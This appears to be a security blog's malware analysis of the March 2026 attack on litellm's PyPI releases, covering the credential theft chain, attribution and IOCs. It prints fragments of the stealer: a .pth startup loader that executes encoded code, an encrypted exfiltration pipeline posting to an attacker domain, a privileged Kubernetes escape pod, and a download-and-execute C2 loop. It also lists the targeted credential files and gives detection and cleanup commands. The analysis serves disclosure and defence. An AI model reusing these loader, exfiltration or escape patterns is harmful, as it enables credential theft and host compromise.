Table of contents
TeamPCP Supply Chain Attack Part 2: LiteLLM PyPI Credential Stealer
Last Updated: March 24, 2026 – 1:15 PM ET
Part 1 covered CanisterWorm, the self-spreading npm worm. This post covers the next wave: a malicious LiteLLM PyPI package carrying the most capable credential stealer TeamPCP has deployed yet.
On March 24, 2026, two versions of litellm, one of the most widely used Python libraries for working with AI language model APIs, were published to PyPI carrying a hidden credential stealer. Versions 1.82.7 and 1.82.8 never appeared on the official LiteLLM GitHub repository. They were published directly to PyPI using credentials stolen from a maintainer account, which TeamPCP obtained as part of their ongoing cascade of supply chain compromises.
How TeamPCP got into LiteLLM
To understand this attack you need to follow the credential chain back four days.
On March 19, TeamPCP force-pushed malicious commits over 75 of 76 version tags of aquasecurity/trivy-action and poisoned Trivy release v0.69.4. Any CI/CD pipeline that ran Trivy that day had its secrets harvested and exfiltrated to the attacker.
LiteLLM’s CI pipeline (ci_cd/security_scans.sh) installed Trivy via apt without pinning a version. When the pipeline ran on March 23, it pulled the poisoned Trivy build. The stealer inside Trivy ran inside LiteLLM’s CI environment, collected everything, including PYPI_PUBLISH_PASSWORD for the krrishdholakia maintainer account, and shipped it to checkmarx.zone.
On March 23, TeamPCP also compromised checkmarx/kics-github-action (all 35 tags hijacked) and checkmarx/ast-github-action (version 2.3.28 poisoned), expanding their credential collection to every pipeline that used Checkmarx scanning. The litellm.cloud domain was registered the same day.
By March 24 they had everything they needed. Two malicious LiteLLM versions hit PyPI within hours of each other.
What changed between 1.82.7 and 1.82.8
The two versions represent a deliberate escalation in how the payload triggers.
Version 1.82.7 hid the malicious code inside litellm/proxy/proxy_server.py. The payload only ran when a developer or application explicitly imported litellm.proxy, a common path when running the LiteLLM proxy server, but not universal.
Version 1.82.8 moved the same payload into a file named litellm_init.pth placed in the package’s site-packages directory. This changes everything. Python’s site module processes every .pth file in site-packages on startup, executing any line that begins with import. No import statement is needed in application code. No user interaction. The payload fires every time Python starts on the infected machine, regardless of whether LiteLLM is ever used.
The upgrade from a module-level hook to a .pth-level hook is significant: it means the malware persists and re-runs even after the malicious package is uninstalled, as long as the .pth file remains in site-packages.
Technical analysis
Three layers, one goal
The payload uses three nested layers of base64 encoding to obscure its code from static scanners.
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c",
"import base64; exec(base64.b64decode('<blob>'))"],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)Figure 1: Outer .pth execution — fires on every Python startup with no user action
Decoding the blob reveals the orchestrator script, which holds an embedded RSA-2048 public key and a second base64-encoded payload (the harvester). The orchestrator runs the harvester as a subprocess, captures everything it prints to stdout, encrypts the output, and ships it out.
subprocess.run(["openssl", "rand", "-out", sk, "32"])
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected,
"-out", ef, "-pass", f"file:{sk}", "-pbkdf2"])
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin",
"-inkey", pk, "-in", sk, "-out", ek,
"-pkeyopt", "rsa_padding_mode:oaep"])
# bundles as tpcp.tar.gz, POSTs to models.litellm.cloudFigure 2: Encryption and exfiltration pipeline — output is encrypted before leaving the machine
The data is AES-256-CBC encrypted with a random session key. The session key is RSA-OAEP encrypted with the attacker’s public key. Only the attacker can decrypt what was stolen. The archive is named tpcp.tar.gz, a direct self-reference by TeamPCP.
The credential harvester
The second-stage script is an exhaustive credential collector. In plain terms: it reads every file on the system that could contain a password, token, or private key, and sends all of it.
It specifically targets:
- SSH keys – all key types, authorized_keys, known_hosts, host keys from
/etc/ssh - AWS credentials – environment variables,
~/.aws/credentials, and live queries to the EC2 Instance Metadata Service (IMDS) to steal IAM role credentials - Kubernetes – service account tokens,
~/.kube/config, all secrets across all namespaces via the K8s API - GCP and Azure – application default credentials,
~/.azuredirectory contents - Docker –
config.jsonincluding registry tokens, Kaniko build credentials - npm tokens –
~/.npmrc(connecting directly to the npm side of this campaign) - Database configs –
.pgpass, .my.cnf, redis.conf, .mongorc.js - Environment files –
.env, .env.production, .env.stagingsearched recursively to depth 6 across/home, /opt, /srv, /var/www, /app, /data, /tmp - Cryptocurrency wallets — Bitcoin, Ethereum keystores, Solana validator keypairs, Cardano signing keys, Zcash, Ripple, Litecoin, Dogecoin
- TLS/SSL private keys —
*.pem, *.key, *.p12, *.pfx, Let’s Encrypt certs - CI/CD secrets —
terraform.tfvars, terraform.tfstate, Jenkinsfile,.travis.yml, .gitlab-ci.yml, .drone.yml - System information — hostname, username, full
printenv, /etc/passwd, /etc/shadow, SSH login history
It also queries the AWS Secrets Manager and SSM Parameter Store directly using any AWS credentials it finds.
Kubernetes cluster escape
If the infected machine is running inside a Kubernetes pod with a service account token at /var/run/secrets/kubernetes.io/serviceaccount/token, the harvester escalates:
pod_manifest = {
'spec': {
'hostPID': True, 'hostNetwork': True,
'tolerations': [{'operator': 'Exists'}],
'containers': [{
'image': 'alpine:latest',
'command': ['sh', '-c', drop_cmd],
'securityContext': {'privileged': True},
'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
}],
'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}]
}
}
k8s_post('/api/v1/namespaces/kube-system/pods', pod_manifest)Figure 3: Privileged pod manifest deployed to every cluster node, mounts the host filesystem via chroot
It enumerates every node in the cluster and deploys this pod to each one. The pod mounts / from the host and uses chroot to install the backdoor directly onto the underlying node, outside the container boundary.
Persistence backdoor
After exfiltration, the harvester drops a polling backdoor to ~/.config/sysmon/sysmon.py and registers it as a systemd user service (sysmon.service). The backdoor checks https://checkmarx.zone/raw every 50 minutes for a URL, downloads whatever binary it points to, writes it to /tmp/pglog, and executes it.
C_URL = "https://checkmarx.zone/raw"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
time.sleep(300) # 5-minute sandbox evasion delay
while True:
l = g() # fetch URL from C2
if l and l != prev and "youtube.com" not in l:
e(l) # download and execute
time.sleep(3000)Figure 4: C2 polling loop with YouTube kill-switch — identical logic to CanisterWorm’s pgmon backdoor
The youtube.com kill-switch, the /tmp/pglog target path, the /tmp/.pg_state state file, and the 300/3000 second timing are identical to the backdoor deployed by CanisterWorm on npm. This is the same codebase, the same actor.
Attribution: Same actor, bigger payload
The connection to TeamPCP and CanisterWorm is direct:
| Indicator | This malware | CanisterWorm (npm) |
|---|---|---|
| Exfil archive | tpcp.tar.gz | actor name “TeamPCP” |
| C2 state file | /tmp/.pg_state | /tmp/.pg_state |
| C2 payload target | /tmp/pglog | /tmp/pglog |
| Backdoor poll interval | 3000 seconds | 3000 seconds |
| Startup delay | 300 seconds | 300 seconds |
| Kill-switch | youtube.com not in url | youtube.com not in url |
| Persistence mechanism | systemd user service | systemd user service |
The LiteLLM payload is a significant capability upgrade over CanisterWorm. Where CanisterWorm’s Python backdoor slot held a placeholder (hello123), this is the real thing, a production-grade stealer with AWS API integration, K8s cluster escape, cryptocurrency wallet enumeration, and RSA-encrypted exfiltration.
Indicators of compromise
Network
| Indicator | Purpose |
|---|---|
hxxps://models.litellm[.]cloud/ | Exfiltration endpoint |
hxxps://checkmarx[.]zone/raw | C2 polling for payload URL |
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/ | AWS IMDS credential theft |
Filesystem
| Path | Description |
|---|---|
~/.config/sysmon/sysmon.py | Persistent C2 backdoor |
~/.config/systemd/user/sysmon.service | Systemd persistence unit |
/tmp/pglog | Downloaded payload binary |
/tmp/.pg_state | C2 state tracking |
litellm_init.pth in site-packages | Malicious .pth loader (v1.82.8) |
Kubernetes
- Pods named
node-setup-*in namespacekube-system - Created with
hostPID: true, hostNetwork: true, privileged: true
Cryptographic
- RSA-2048 attacker public key fingerprint (embedded in payload):
vahaZDo8mucujrT15ry+08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0...
Detection
Check for active infection
# Check for backdoor service
systemctl --user status sysmon.service
# Check for backdoor script and C2 artifacts
ls -la ~/.config/sysmon/sysmon.py
ls -la ~/.config/systemd/user/sysmon.service
ls -la /tmp/pglog /tmp/.pg_state
# Check for malicious .pth in all Python environments
find $(python3 -c "import site; print('\n'.join(site.getsitepackages()))") \
-name "*.pth" | xargs grep -l "subprocess.Popen" 2>/dev/null
# Check for K8s escape pods
kubectl get pods -n kube-system | grep node-setupFigure 5: Detection commands for the sysmon backdoor and associated artifacts
Remove the backdoor
systemctl --user stop sysmon.service
systemctl --user disable sysmon.service
rm -f ~/.config/systemd/user/sysmon.service
rm -rf ~/.config/sysmon/
rm -f /tmp/pglog /tmp/.pg_state
systemctl --user daemon-reload
# Remove malicious .pth file
pip uninstall litellm # also manually verify .pth is gone from site-packagesFigure 6: Remediation steps for infected hosts
Rotate credentials immediately
Any machine that had Python start with litellm 1.82.7 or 1.82.8 installed must be treated as fully compromised. Rotate: AWS IAM keys, SSH keys, npm tokens, database passwords, Kubernetes service account tokens, Docker registry credentials, and any cloud provider credentials present in environment variables or config files.
Conclusion
The LiteLLM attack is the third major wave in TeamPCP’s March 2026 campaign. Trivy provided initial access. CanisterWorm spread through the npm ecosystem. Now a malicious PyPI package reaches a different but overlapping audience: AI and ML developers who use LiteLLM to integrate language models into applications. These pipelines routinely have access to cloud credentials, model API keys, and production infrastructure.
The upgrade from npm to PyPI, and from module-level hooks to .pth auto-execution, shows an actor that is actively evolving their delivery mechanisms across ecosystems while keeping the same core payload and infrastructure.
PyPI has quarantined the affected versions. If you are running LiteLLM, verify your installed version (pip show litellm) and upgrade to a clean release. If you were running 1.82.7 or 1.82.8 at any point, assume compromise and rotate all credentials.